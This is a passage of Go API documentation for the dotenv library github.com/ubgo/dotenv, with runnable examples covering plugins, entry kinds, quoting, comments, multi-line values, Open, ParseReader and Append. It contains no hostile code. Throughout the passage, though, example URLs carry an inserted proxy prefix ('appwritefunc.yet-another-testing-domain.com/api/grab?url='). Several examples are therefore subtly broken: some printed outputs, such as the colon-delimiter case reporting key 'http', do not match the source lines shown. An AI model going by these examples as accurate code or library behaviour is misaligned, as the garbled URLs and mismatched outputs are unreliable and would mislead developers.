	fmt.Println("missing file is an error:", err != nil)
}
Output:
API_URL=https://api.example.com
DOMAIN=example.com
missing file is an error: true

Types

type Capability

type Capability string

Capability names one ability a plugin was detected as having.

Reported by Plugins so a missing capability is visible. Optional interfaces fail silently — a method with a slightly wrong signature compiles, installs, and never runs — so being able to see what was actually detected is the difference between a one-line fix and an hour of debugging.

Example

ExampleCapability shows how a misspelled hook method is caught: the plugin is detected with no capabilities at all.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// plugTypo meant to be a Lookuper, but the method is spelled LookUp, so it
// matches no capability interface. It compiles and installs, and does nothing.
type plugTypo struct{}

func (plugTypo) Name() string { return "typo" }

func (plugTypo) LookUp(name string) (string, bool, error) { return "x", true, nil }

// plugSink holds all six capabilities on one object.
type plugSink struct{}

func (plugSink) Name() string                               { return "sink" }
func (plugSink) Lookup(string) (string, bool, error)        { return "", false, nil }
func (plugSink) TransformValue(_, v string) (string, error) { return v, nil }
func (plugSink) RunCommand(string) (string, error)          { return "", nil }
func (plugSink) GuardSave(*dotenv.File) error               { return nil }
func (plugSink) ObserveEntry(*dotenv.Entry)                 {}
func (plugSink) ObserveExpand(_, _, _ string)               {}

func main() {
	// Plugins reports what each plugin was DETECTED as, which is how a
	// misspelled method shows up: as a plugin with no capabilities.
	f := dotenv.Parse("V=${K}\n", dotenv.WithPlugin(plugTypo{}, plugSink{}))

	for _, info := range f.Plugins() {
		fmt.Println(info)
	}
	for _, info := range f.Plugins() {
		has := false
		for _, c := range info.Capabilities {
			if c == dotenv.CapLookup {
				has = true
			}
		}
		fmt.Printf("%s has %s: %v\n", info.Name, dotenv.CapLookup, has)
	}
}
Output:
typo: (none)
sink: Lookuper, ValueTransformer, CommandRunner, SaveGuard, EntryObserver, ExpandObserver
typo has Lookuper: false
sink has Lookuper: true
const (
	CapLookup           Capability = "Lookuper"
	CapValueTransformer Capability = "ValueTransformer"
	CapCommandRunner    Capability = "CommandRunner"
	CapSaveGuard        Capability = "SaveGuard"
	CapEntryObserver    Capability = "EntryObserver"
	CapExpandObserver   Capability = "ExpandObserver"
)

type CommandRunner

type CommandRunner interface {
	RunCommand(cmd string) (string, error)
}

CommandRunner executes a $(command) substitution.

Unlike Lookuper this is a REPLACEMENT, not a chain: passing a command through two runners is meaningless, so the last one installed wins. Installing any runner enables command substitution, which is otherwise off.

Example

ExampleCommandRunner records commands instead of running them, and shows that references inside a command are expanded before the runner sees it.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// plugRecorder is a CommandRunner that records each command instead of running
// it: the shape of a test double, or of a runner that logs before delegating.
type plugRecorder struct {
	seen []string
}

func (r *plugRecorder) Name() string { return "recorder" }

func (r *plugRecorder) RunCommand(cmd string) (string, error) {
	r.seen = append(r.seen, cmd)
	return "out(" + cmd + ")", nil
}

func main() {
	// Installing any CommandRunner turns substitution on. References inside the
	// command are expanded BEFORE the runner sees it.
	rec := &plugRecorder{}
	f := dotenv.Parse("NAME=world\nGREETING=\"$(echo hello ${NAME})\"\n", dotenv.WithPlugin(rec))

	v, _, err := f.GetExpanded("GREETING")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println(v)
	fmt.Printf("runner saw: %q\n", rec.seen)
}
Output:
out(echo hello world)
runner saw: ["echo hello world"]

type Entry

type Entry struct {
	// Kind classifies the entry.
	Kind Kind

	// Raw holds the exact physical lines, without terminators. For an untouched
	// entry these render back byte-identically — this field is what makes the
	// preservation invariant possible.
	Raw []string

	// Key is meaningful for KindPair, KindDisabledPair, and KindInherited;
	// empty for every other kind.
	Key string

	// Value is the DECODED value for KindPair: quotes stripped, escapes
	// interpreted, multi-line joined with \n.
	Value string
	// contains filtered or unexported fields
}

Entry is one logical unit of the file: a pair (possibly spanning several physical lines), a comment, a blank, or an unrecognised line.

Example

ExampleEntry shows the four exported fields. Raw keeps the exact physical lines (a multi-line value spans several), Value is the decoded value with quotes stripped and lines joined by \n.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = "export CERT=\"line one\nline two\" # pem\n# DEBUG='true'\n"

	f := dotenv.Parse(content)
	for _, e := range f.Entries() {
		fmt.Println("Kind: ", e.Kind)
		fmt.Printf("Raw:   %q\n", e.Raw)
		fmt.Printf("Key:   %q\n", e.Key)
		fmt.Printf("Value: %q\n", e.Value)
	}
}
Output:
Kind:  pair
Raw:   ["export CERT=\"line one" "line two\" # pem"]
Key:   "CERT"
Value: "line one\nline two"
Kind:  disabled-pair
Raw:   ["# DEBUG='true'"]
Key:   "DEBUG"
Value: "true"

func NewBlank

func NewBlank() *Entry

NewBlank builds an unattached empty line, for separating sections.

func NewComment

func NewComment(lines ...string) *Entry

NewComment builds an unattached comment spanning one line per argument.

NewComment("----------", "DATABASE", "----------")

Each line is prefixed with "# " unless it already begins with "#", so a caller can pass either plain text or pre-decorated lines without ending up with "##".

Example

NewComment builds one comment line per argument. Plain text gets "# "; a line that already starts with "#" is kept as given, so you never get "##".

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("")
	f.Append(
		dotenv.NewComment("----------", "DATABASE", "----------"),
		dotenv.NewComment("# already decorated", "  # indented"),
		dotenv.NewComment(), // no lines still gives a bare marker
	)
	fmt.Print(f.Render())
}
Output:
# ----------
# DATABASE
# ----------
# already decorated
  # indented
#

func NewPair

func NewPair(key, value string) *Entry

NewPair builds an unattached KEY=value entry.

New entries always use `=` — the canonical delimiter every dotenv dialect reads. The colon form is only ever PRESERVED from source, never authored: see Entry.prefix.

The value is rendered when the entry is attached by Append or Insert, not here: quoting is settled at construction, but the line ending is a property of the destination file, which this entry does not yet have.

Example

NewPair builds a KEY=value entry that is not in any file yet. Quoting is chosen from the value; the line ending comes from the file it is placed in.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	lf := dotenv.Parse("A=1\n")
	crlf := dotenv.Parse("A=1\r\n")

	lf.Append(dotenv.NewPair("GREETING", "hello world"))
	crlf.Append(dotenv.NewPair("GREETING", "hello world"))

	fmt.Printf("%q\n", lf.Render())
	fmt.Printf("%q\n", crlf.Render())
}
Output:
"A=1\nGREETING=\"hello world\"\n"
"A=1\r\nGREETING=\"hello world\"\r\n"

type EntryObserver

type EntryObserver interface {
	ObserveEntry(e *Entry)
}

EntryObserver sees each entry as it is parsed.

Infallible by design, which is what lets Parse keep its no-error signature. A plugin that needs to reject a file does it at SaveGuard time, or the caller inspects the parsed File.

Observers see EVERY entry, including KindDisabledPair and KindOther. A commented-out setting is a finding for an auditor, not noise, and filtering it out would hide the most interesting case.

The *Entry an observer receives is a copy made for that call. Changing it, or keeping it and changing it later, does not reach the parsed File, so an observer can never alter what Render or Save produce.

Example

ExampleEntryObserver audits every entry the parser produces, including blanks, comments and commented-out settings.

package main

import (
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

// plugAuditor is an EntryObserver that records every entry the parser
// produces, including commented-out settings.
type plugAuditor struct {
	lines    []string
	disabled []string
}

func (a *plugAuditor) Name() string { return "auditor" }

// ObserveEntry runs once per entry, in file order, during parsing.
func (a *plugAuditor) ObserveEntry(e *dotenv.Entry) {
	a.lines = append(a.lines, fmt.Sprintf("%-13s %s", e.Kind, e.Key))
	if e.Kind == dotenv.KindDisabledPair {
		a.disabled = append(a.disabled, e.Key)
	}
}

func main() {
	// The observer sees every kind of entry, not just active pairs.
	src := "# Database\n" +
		"\n" +
		"DB_HOST=localhost\n" +
		"# DB_USER=admin\n" +
		"export HOME\n" +
		"not a pair\n" +
		"NOTE=\"line one\nline two\"\n"

	audit := &plugAuditor{}
	dotenv.Parse(src, dotenv.WithPlugin(audit))

	for _, l := range audit.lines {
		fmt.Println(strings.TrimSpace(l))
	}
	fmt.Println("disabled:", audit.disabled)
}
Output:
comment
blank
pair          DB_HOST
disabled-pair DB_USER
inherited     HOME
other
pair          NOTE
disabled: [DB_USER]

type EscapeMode

type EscapeMode int

EscapeMode selects how backslash sequences inside double-quoted values are decoded.

The two modes are genuinely incompatible, which is why this is a choice rather than a default someone has to work around: under Compose, `\n` in a value stays two characters; under Extended it becomes a newline. Whichever a parser picks, some .env in the wild is misread — so the caller picks, based on who wrote the file.

const (
	// EscapeExtended interprets \n, \r, \t, \" and \\ — what most .env
	// tooling outside Docker does, and what most application developers
	// expect. This is the default.
	EscapeExtended EscapeMode = iota

	// EscapeCompose interprets only \" and \\. Every other backslash sequence
	// is kept literally, which is how Docker Compose reads a .env. Use it for
	// files compose consumes, and for values holding Windows paths or regexes
	// where a backslash means itself.
	EscapeCompose
)

func (EscapeMode) String

func (m EscapeMode) String() string

String implements fmt.Stringer.

type ExpandObserver

type ExpandObserver interface {
	ObserveExpand(key, name, resolved string)
}

ExpandObserver sees every reference resolution.

key is the entry whose value is being expanded, name is the variable referenced, and resolved is what it became. Enough to answer "which variables does this file actually use", which is what dead-key detection needs.

Infallible, for the same reason as EntryObserver.

Example

ExampleExpandObserver traces which variables other values reference, the basis of a dead-key check.

package main

import (
	"fmt"
	"sort"

	"github.com/ubgo/dotenv"
)

// plugTracer is an ExpandObserver that records which variables the file's
// values actually reference.
type plugTracer struct {
	used map[string]bool
}

func (t *plugTracer) Name() string { return "tracer" }

// ObserveExpand runs for every reference resolution: key is the entry being
// expanded, name the variable it referenced, resolved what that became.
func (t *plugTracer) ObserveExpand(key, name, resolved string) {
	t.used[name] = true
}

func main() {
	// Dead-key detection: expand everything, then list the variables nothing
	// referenced. (Top-level keys like URL are consumed by the app, not by other
	// values, so a real check compares against what the app reads too.)
	src := "HOST=db\nPORT=5432\nLEGACY_HOST=old-db\nURL=postgres://${HOST}:${PORT}/app\n"

	tracer := &plugTracer{used: map[string]bool{}}
	f := dotenv.Parse(src, dotenv.WithPlugin(tracer))
	if _, err := f.ExpandedMap(); err != nil {
		fmt.Println("error:", err)
		return
	}

	var referenced, unreferenced []string
	for _, k := range f.Keys() {
		if tracer.used[k] {
			referenced = append(referenced, k)
		} else {
			unreferenced = append(unreferenced, k)
		}
	}
	sort.Strings(referenced)
	sort.Strings(unreferenced)
	fmt.Println("referenced:  ", referenced)
	fmt.Println("unreferenced:", unreferenced)
}
Output:
referenced:   [HOST PORT]
unreferenced: [LEGACY_HOST URL]

type File

type File struct {
	// Path is where the file was loaded from, and where Save writes.
	Path string
	// contains filtered or unexported fields
}

File is a parsed .env plus the formatting facts needed to render it back byte-identically.

func Open

func Open(path string, opts ...Option) (*File, error)

Open reads and parses path.

A missing file is NOT an error: it loads as an empty File so a caller can bootstrap a fresh .env, and Save will create it at 0600. Callers that need to distinguish the two cases ask Existed.

Example

ExampleOpen opens a file from disk for reading and editing. Values come back raw: a ${reference} stays as written, so the file can be saved without flattening it.

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/ubgo/dotenv"
)

func main() {
	// envFile is the name the example writes inside its own temp directory.
	const envFile = ".env"

	dir, err := os.MkdirTemp("", "dotenv-open")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()

	path := filepath.Join(dir, envFile)
	content := "DOMAIN=example.com\nAPI_URL=https://api.${DOMAIN}\n"
	if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
		fmt.Println(err)
		return
	}

	f, err := dotenv.Open(path)
	if err != nil {
		fmt.Println(err)
		return
	}
	v, ok := f.Get("API_URL")
	fmt.Println(v, ok)
	fmt.Println("existed:", f.Existed())
}
Output:
https://api.${DOMAIN} true
existed: true
Example (Missing)

ExampleOpen_missing shows that opening a file that does not exist is not an error: you get an empty File you can fill and Save, which creates it.

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/ubgo/dotenv"
)

func main() {
	// envFile is the name the example creates inside its own temp directory.
	const envFile = ".env"

	dir, err := os.MkdirTemp("", "dotenv-open-missing")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()

	f, err := dotenv.Open(filepath.Join(dir, envFile))
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("existed:", f.Existed(), "keys:", len(f.Keys()))

	f.Set("PORT", "8080")
	if err := f.Save(); err != nil {
		fmt.Println(err)
		return
	}
	data, err := os.ReadFile(filepath.Join(dir, envFile))
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Printf("%q\n", data)
}
Output:
existed: false keys: 0
"PORT=8080\n"

func Parse

func Parse(content string, opts ...Option) *File

Parse parses content directly, with no filesystem involved.

Useful for parsing a .env that arrived over a pipe, out of an embedded fixture, or from a secret store — and it makes the parser testable without touching disk.

Example

ExampleParse parses a string with no filesystem involved: an embedded fixture, a value from a secret store, or a test input. Rendering it back gives the exact bytes it was parsed from.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = "# app\nPORT=8080\nexport NAME='my app'\n"

	f := dotenv.Parse(content)
	port, _ := f.Get("PORT")
	name, _ := f.Get("NAME")
	fmt.Println(port)
	fmt.Println(name)
	fmt.Println("round trip:", f.Render() == content)
}
Output:
8080
my app
round trip: true
Example (SyntaxComments)

ExampleParse_syntaxComments shows where a value ends and a comment begins. In a bare value a # starts a comment only when whitespace (space or tab) comes before it, so a password like a#b survives. Inside quotes a # is always part of the value.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
	raw, ok := f.Get(key)
	if !ok {
		fmt.Printf("%s: not a pair\n", key)
		return
	}
	expanded, _, err := f.GetExpanded(key)
	if err != nil {
		fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
		return
	}
	fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}

func main() {
	src := "# a whole-line comment\n" +
		"   # an indented comment\n" +
		"SPACE=value # comment\n" +
		"TAB=value\t# comment\n" +
		"NOSPACE=a#b\n" +
		"QUOTED=\"a # b\" # comment\n" +
		"SINGLE='a#b'#comment\n" +
		"TRAILING=\"kept\" this text is dropped\n" +
		"# DISABLED=off\n"

	f := dotenv.Parse(src)
	for _, key := range f.Keys() {
		synShow(f, key)
	}
	for _, e := range f.Entries() {
		if e.Kind != dotenv.KindPair {
			fmt.Printf("%s %q\n", e.Kind, e.Raw[0])
		}
	}
}
Output:
SPACE: Get="value" GetExpanded="value"
TAB: Get="value" GetExpanded="value"
NOSPACE: Get="a#b" GetExpanded="a#b"
QUOTED: Get="a # b" GetExpanded="a # b"
SINGLE: Get="a#b" GetExpanded="a#b"
TRAILING: Get="kept" GetExpanded="kept"
comment "# a whole-line comment"
comment "   # an indented comment"
disabled-pair "# DISABLED=off"
Example (SyntaxDelimiter)

ExampleParse_syntaxDelimiter shows the colon delimiter from the Docker Compose and Node dotenv grammars. KEY: value and KEY=value read the same. The catch: a line holding only a URL is also a colon pair, exactly as Compose reads it.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
	raw, ok := f.Get(key)
	if !ok {
		fmt.Printf("%s: not a pair\n", key)
		return
	}
	expanded, _, err := f.GetExpanded(key)
	if err != nil {
		fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
		return
	}
	fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}

func main() {
	src := "EQUALS=a\n" +
		"COLON: b\n" +
		"TIGHT:c\n" +
		"export SPACED : \"d e\"\n" +
		"URL=http://example.com:8080\n" +
		"http://example.com\n"

	f := dotenv.Parse(src)
	for _, key := range f.Keys() {
		synShow(f, key)
	}
}
Output:
EQUALS: Get="a" GetExpanded="a"
COLON: Get="b" GetExpanded="b"
TIGHT: Get="c" GetExpanded="c"
SPACED: Get="d e" GetExpanded="d e"
URL: Get="http://example.com:8080" GetExpanded="http://example.com:8080"
http: Get="//example.com" GetExpanded="//example.com"
Example (SyntaxDuplicates)

ExampleParse_syntaxDuplicates shows duplicate keys. The last one wins for Get, GetExpanded and Map, matching every dotenv tool and Compose. Count and Pairs still show the earlier ones, so an authoring mistake stays visible.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
	raw, ok := f.Get(key)
	if !ok {
		fmt.Printf("%s: not a pair\n", key)
		return
	}
	expanded, _, err := f.GetExpanded(key)
	if err != nil {
		fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
		return
	}
	fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}

func main() {
	src := "PORT=3000\n" +
		"HOST=localhost\n" +
		"PORT=8080\n"

	f := dotenv.Parse(src)
	synShow(f, "PORT")
	fmt.Println("count:", f.Count("PORT"))
	fmt.Println("keys:", f.Keys())
	fmt.Println("pairs:", f.Pairs())
}
Output:
PORT: Get="8080" GetExpanded="8080"
count: 2
keys: [PORT HOST]
pairs: [{PORT 3000} {HOST localhost} {PORT 8080}]
Example (SyntaxEncrypted)

ExampleParse_syntaxEncrypted shows that an encrypted: value is stored and read verbatim. This package never decrypts; plug a ValueTransformer in for that. Single quotes keep a $ inside ciphertext from being read as a reference.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
	raw, ok := f.Get(key)
	if !ok {
		fmt.Printf("%s: not a pair\n", key)
		return
	}
	expanded, _, err := f.GetExpanded(key)
	if err != nil {
		fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
		return
	}
	fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}

func main() {
	src := "TOKEN=encrypted:BFt4x9\n" +
		"BARE=encrypted:ab$cd\n" +
		"SAFE='encrypted:ab$cd'\n"

	f := dotenv.Parse(src)
	for _, key := range f.Keys() {
		synShow(f, key)
	}
}
Output:
TOKEN: Get="encrypted:BFt4x9" GetExpanded="encrypted:BFt4x9"
BARE: Get="encrypted:ab$cd" GetExpanded="encrypted:ab"
SAFE: Get="encrypted:ab$cd" GetExpanded="encrypted:ab$cd"
Example (SyntaxKeys)

ExampleParse_syntaxKeys shows which keys are pairs and what happens to a line that is not one. Keys use Docker Compose's charset: letters, digits, _ . - [ ]. Anything else, or a line with no delimiter and more than one word, is kept verbatim as KindOther and never becomes a key. A single bare name is a Compose inherited declaration.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "2FA_SECRET=a\n" +
		"spring.datasource.url=b\n" +
		"MY-SERVICE-TOKEN=c\n" +
		"SERVICES[0]=d\n" +
		"HAS KEY=e\n" +
		"K!=f\n" +
		"=no key\n" +
		"Ké=g\n" +
		"just some text\n" +
		"HOME\n"

	f := dotenv.Parse(src)
	fmt.Println("keys:", f.Keys())
	for _, e := range f.Entries() {
		fmt.Printf("%-9s key=%q raw=%q\n", e.Kind, e.Key, e.Raw[0])
	}
}
Output:
keys: [2FA_SECRET spring.datasource.url MY-SERVICE-TOKEN SERVICES[0]]
pair      key="2FA_SECRET" raw="2FA_SECRET=a"
pair      key="spring.datasource.url" raw="spring.datasource.url=b"
pair      key="MY-SERVICE-TOKEN" raw="MY-SERVICE-TOKEN=c"
pair      key="SERVICES[0]" raw="SERVICES[0]=d"
other     key="" raw="HAS KEY=e"
other     key="" raw="K!=f"
other     key="" raw="=no key"
other     key="" raw="Ké=g"
other     key="" raw="just some text"
inherited key="HOME" raw="HOME"
Example (SyntaxKinds)

ExampleParse_syntaxKinds lists every Kind the parser assigns, one line each. Only KindPair entries are visible to Get, Keys, Map and GetExpanded; the rest are kept so Render can write the file back byte for byte.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := "# note\n" +
		"\n" +
		"KEY=value\n" +
		"# OLD=value\n" +
		"HOME\n" +
		"not a pair\n"

	f := dotenv.Parse(src)
	for _, e := range f.Entries() {
		fmt.Printf("%-13s %q\n", e.Kind, e.Raw[0])
	}
	_, ok := f.Get("OLD")
	fmt.Println("OLD visible to Get:", ok)
	fmt.Println("round trip intact:", f.Render() == src)
}
Output:
comment       "# note"
blank         ""
pair          "KEY=value"
disabled-pair "# OLD=value"
inherited     "HOME"
other         "not a pair"
OLD visible to Get: false
round trip intact: true
Example (SyntaxMultiline)

ExampleParse_syntaxMultiline shows values that span several physical lines. A double-quoted, single-quoted or backtick value runs until its closing quote; the lines are joined with "\n". A bare value always ends at the end of its line.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
	raw, ok := f.Get(key)
	if !ok {
		fmt.Printf("%s: not a pair\n", key)
		return
	}
	expanded, _, err := f.GetExpanded(key)
	if err != nil {
		fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
		return
	}
	fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}

func main() {
	src := "GREETING=\"line one\n" +
		"line two\"\n" +
		"PEM=`-----BEGIN KEY-----\n" +
		"abc'\"def\n" +
		"-----END KEY-----`\n" +
		"LITERAL='a\n" +
		"b'\n" +
		"AFTER=still parsed\n"

	f := dotenv.Parse(src)
	for _, key := range f.Keys() {
		synShow(f, key)
	}
	// Four keys, eight physical lines: each multi-line value is one entry.
	fmt.Println("entries:", len(f.Entries()))
}
Output:
GREETING: Get="line one\nline two" GetExpanded="line one\nline two"
PEM: Get="-----BEGIN KEY-----\nabc'\"def\n-----END KEY-----" GetExpanded="-----BEGIN KEY-----\nabc'\"def\n-----END KEY-----"
LITERAL: Get="a\nb" GetExpanded="a\nb"
AFTER: Get="still parsed" GetExpanded="still parsed"
entries: 4
Example (SyntaxQuotes)

ExampleParse_syntaxQuotes shows the four ways to write a value and what each one does to whitespace and to a $reference. Bare and double-quoted values interpolate; single-quoted and backtick values never do.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
	raw, ok := f.Get(key)
	if !ok {
		fmt.Printf("%s: not a pair\n", key)
		return
	}
	expanded, _, err := f.GetExpanded(key)
	if err != nil {
		fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
		return
	}
	fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}

func main() {
	src := "NAME=world\n" +
		"BARE=hello $NAME   \n" +
		"DOUBLE=\"hello $NAME  \"\n" +
		"SINGLE='hello $NAME'\n" +
		"BACKTICK=`it's \"hi\" $NAME`\n" +
		"export EXPORTED=yes\n" +
		"  SPACED  =   padded value  \n" +
		"EMPTY=\n" +
		"QUOTED_EMPTY=\"\"\n"

	f := dotenv.Parse(src)
	for _, key := range f.Keys() {
		synShow(f, key)
	}
}
Output:
NAME: Get="world" GetExpanded="world"
BARE: Get="hello $NAME" GetExpanded="hello world"
DOUBLE: Get="hello $NAME  " GetExpanded="hello world  "
SINGLE: Get="hello $NAME" GetExpanded="hello $NAME"
BACKTICK: Get="it's \"hi\" $NAME" GetExpanded="it's \"hi\" $NAME"
EXPORTED: Get="yes" GetExpanded="yes"
SPACED: Get="padded value" GetExpanded="padded value"
EMPTY: Get="" GetExpanded=""
QUOTED_EMPTY: Get="" GetExpanded=""
Example (SyntaxUnterminated)

ExampleParse_syntaxUnterminated shows what a missing closing quote does: the value keeps going to the end of the file and swallows every line after it. Nothing is lost on disk (Render is still byte-identical), but the keys after the bad line are no longer pairs.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
	raw, ok := f.Get(key)
	if !ok {
		fmt.Printf("%s: not a pair\n", key)
		return
	}
	expanded, _, err := f.GetExpanded(key)
	if err != nil {
		fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
		return
	}
	fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}

func main() {
	src := "OK=1\n" +
		"BROKEN=\"no closing quote\n" +
		"LATER=2\n"

	f := dotenv.Parse(src)
	fmt.Println("keys:", f.Keys())
	synShow(f, "BROKEN")
	synShow(f, "LATER")
	fmt.Println("round trip intact:", f.Render() == src)
}
Output:
keys: [OK BROKEN]
BROKEN: Get="no closing quote\nLATER=2" GetExpanded="no closing quote\nLATER=2"
LATER: not a pair
round trip intact: true

func ParseReader

func ParseReader(r io.Reader, opts ...Option) (*File, error)

ParseReader parses content read from r.

Prefer this over reading the bytes yourself. io.ReadAll returns a []byte and converting that to a string copies the whole thing again, on top of the doubling io.ReadAll does as its buffer grows. Copying into a strings.Builder hands its buffer to the string directly, so both costs disappear.

Measured on a ~1.4 MB file by BenchmarkParseLarge: 9.8 MB and 67 allocations against 13.0 MB and 93 for ReadAll-then-Parse. Re-run it rather than trusting these numbers — that is what the benchmark is for.

This matters once a .env carries a PEM block or a base64 certificate and runs to megabytes, which is common enough to design for.

The whole content is still held in memory, unavoidably: preserving a file byte for byte means keeping every line. This lowers the cost; it does not stream.

Example

ExampleParseReader parses from any io.Reader: a pipe, an HTTP body, a file you already opened. It copies the input once, so it is the cheaper choice for large content compared with io.ReadAll followed by Parse.

package main

import (
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

func main() {
	r := strings.NewReader("PORT=8080\nHOST=localhost\n")

	f, err := dotenv.ParseReader(r)
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(f.Keys())
}
Output:
[PORT HOST]

func (*File) Append

func (f *File) Append(entries ...*Entry)

Append adds entries to the end of the file, exactly as given.

Append is LITERAL: it places what you hand it, duplicates included. That is the opposite of Set, which upserts to guarantee a single active entry. A generator wants literal placement; an editor wants upsert. Blurring the two is how a key silently moves.

f.Append(
    dotenv.NewBlank(),
    dotenv.NewComment("----------", "DATABASE", "----------"),
    dotenv.NewPair("DB_HOST", "localhost"),
)
Example

Append places entries at the end exactly as given. Use it to generate a file with banners, blank lines and sections.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("")
	f.Append(
		dotenv.NewComment("------------------", "DATABASE", "------------------"),
		dotenv.NewPair("DB_HOST", "localhost"),
		dotenv.NewPair("DB_PORT", "5432"),
		dotenv.NewBlank(),
		dotenv.NewComment("------------------", "AUTH", "------------------"),
		dotenv.NewPair("AUTH_SECRET", "change me"),
	)
	fmt.Print(f.Render())
}
Output:
# ------------------
# DATABASE
# ------------------
DB_HOST=localhost
DB_PORT=5432

# ------------------
# AUTH
# ------------------
AUTH_SECRET="change me"
Example (UnterminatedQuote)

If the file's last value opens a quote and never closes it, anything you append ends up INSIDE that value when the file is read back. The source was already broken; check files you did not write before appending to them.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse(`A="open`)
	f.Append(dotenv.NewPair("APPENDED", "1"))

	back := dotenv.Parse(f.Render())
	_, found := back.Get("APPENDED")
	a, _ := back.Get("A")
	fmt.Println("APPENDED found:", found)
	fmt.Printf("A=%q\n", a)
}
Output:
APPENDED found: false
A="open\nAPPENDED=1"
Example (Verbatim)

An entry taken from another file's Entries is copied verbatim: its quotes, spacing, comment and even its own line ending come along unchanged. This is also the way to write a reference such as ${HOST} into a file, since Set stores a value containing '$' literally.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	src := dotenv.Parse("API_URL = https://${HOST}/v1   # follows HOST\n")
	dst := dotenv.Parse("HOST=api.example.com\n")

	dst.Append(src.Entries()[0])

	v, _, err := dst.GetExpanded("API_URL")
	if err != nil {
		fmt.Println("expand:", err)
		return
	}
	fmt.Print(dst.Render())
	fmt.Printf("GetExpanded=%q\n", v)
}
Output:
HOST=api.example.com
API_URL = https://${HOST}/v1   # follows HOST
GetExpanded="https://api.example.com/v1"
Example (VsSet)

